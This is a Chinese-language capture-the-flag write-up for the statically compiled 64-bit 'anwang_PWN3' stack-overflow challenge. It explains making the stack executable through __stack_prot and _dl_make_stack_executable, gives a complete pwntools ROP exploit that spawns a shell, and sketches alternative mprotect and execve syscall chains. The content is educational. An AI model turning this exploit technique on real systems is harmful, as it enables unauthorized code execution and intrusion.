anwang_PWN3

一道静态编译的题,有点意思

题目简述

  • linux64位栈溢出,使用静态编译
  • 开启NX保护,无PIE与Canary
  • 溢出长度为0x100-0x88=0x78

知识点

_dl_make_stack_executable(__libc_stack_end)

可以使栈的权限变为__stack_prot这个全局变量所指定的权限

利用步骤

  1. 修改__stack_prot的值为0x7

    pop r? ret
    __stack_prot
    pop r?? ret
    0x7
    mov dword ptr [r?], r?? ret
  2. 调用_dl_make_stack_executable(__libc_stack_end)

    pop rdi ret
    __libc_stack_end
    _dl_make_stack_executable
此使用`vmmap`看stack已经具有`rwx-`权限
  1. 跳转栈上shellcode

    jmp rsp
    shellcode

完整脚本

#-*-coding:utf-8-*- 
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#io = remote('47.95.195.235', 44003)

io=process('./pwn3')
elf=ELF('./pwn3')

#0x00000000004351e4 : mov dword ptr [rdi], edx ; ret
#0x00000000004014c6 : pop rdi ; ret
#0x0000000000442626 : pop rdx ; ret
#0x00000000004783c6 : pop rax ; pop rdx ; pop rbx ; ret
#0x000000000045ff62 : jmp rsp

pop_rdi_ret=0x00000000004014c6
pop_rdx_ret=0x0000000000442626
mov_ptr_rdi_edx=0x00000000004351e4
pop_rax_rdx_rbx_ret=0x00000000004783c6
jmp_rsp=0x000000000045ff62

stack_prot=elf.sym['__stack_prot'] #0x6C9FE0 
libc_stack_end=elf.sym['__libc_stack_end']
stack_exec=elf.sym['_dl_make_stack_executable']

#gdb.attach(io)
shellcode=asm(shellcraft.sh())

payload = 0x80*'a'
payload +=8*'b'
payload +=p64(pop_rdi_ret)+p64(stack_prot)
payload +=p64(pop_rdx_ret)+p64(0x7)
payload +=p64(mov_ptr_rdi_edx)
payload +=p64(pop_rdi_ret)+p64(libc_stack_end)
payload +=p64(stack_exec)
payload +=p64(elf.sym['vul'])
io.sendline(payload)
pause()

payload = 0x88*'c'
payload +=p64(jmp_rsp)
payload +=shellcode
io.sendline(payload)

io.interactive()

其他思路

0x1

除了_dl_make_stack_executable(__libc_stack_end)改stack权限,也可以直接使用mprotect改bss段的空间,通过read将shellcode写入bss,跳转bss

或是mmap一个新页

0x2

静态编译的题目往往gadgets丰富,使用ROPgadgets --binary pwn1 --ropchain可以直接拉一条链下来,如果空间足够就可以直接用了,如果太长了需要手工修剪或栈迁移

0x3

  1. 直接写入/bin//sh\到data段或bss段
  2. sys_execve (调用号59 syscall)

0x4

  1. sys_read读入/bin//sh\
  2. sys_execve (binsh,0,0)
payload += p64(pop_rdx_rsi_ret)     #sys_read(0,bss_binsh,8)
payload += p64(0x8)                 
payload += p64(bss_binsh)           
payload += p64(pop_rdi_ret)         
payload += p64(0x0)                 
payload += p64(mov_rax_0_syscall)   #sys_read(rax=0)
payload += p64(pop_rax_ret)         #sys_execve(bss_binsh,0,0)
payload += p64(59)
payload += p64(pop_rdx_rsi_ret)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(pop_rdi_ret)
payload += p64(bss_binsh)
payload += p64(syscall)             #sys_execve(rax=59)
print io.recv()
io.send(payload)
sleep(0.1) 
io.send('/bin/sh\x00')
io.interactive()

https://bbs.pediy.com/thread-256957.htm

https://stfpeak.github.io/2017/11/13/hitcon2017_start_stackoverflow_wp/

https://www.lhyerror404.cn/2019/05/22/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E4%B8%AD%E7%9A%84pwn/